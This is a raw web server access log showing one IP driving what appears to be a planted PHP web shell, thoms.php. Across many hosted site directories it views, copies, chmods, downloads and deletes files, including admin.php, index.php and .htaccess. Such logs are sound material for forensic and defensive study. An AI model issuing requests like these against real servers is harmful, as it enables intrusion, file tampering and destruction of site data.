45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17520 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17509 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21677 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17565 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12548 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17271 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17472 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16555 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17383 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19389 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17428 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17359 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17398 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21679 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21678 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17604 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19244 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:13 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13339 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /bestzyx.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13836 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /bestzyx.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /bestzyx.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /bestzyx.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17706 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /bestzyx.com.tw/upgrade/ HTTP/1.1" 200 6678 "https://163.245.207.76:443/bestzyx.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?dl=termps.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11947 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?chmod=.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2F.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2F.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38767 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?del=admin.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?dl=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?dl=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Fadmin.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Fadmin.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?chmod=error_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12069 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?chmod=termps.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /bestzyx.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?chmod=txets.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2F.839679839080856.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2F.839679839080856.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?dl=admin.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ferror_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ferror_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /bestzyx.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /bestzyx.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
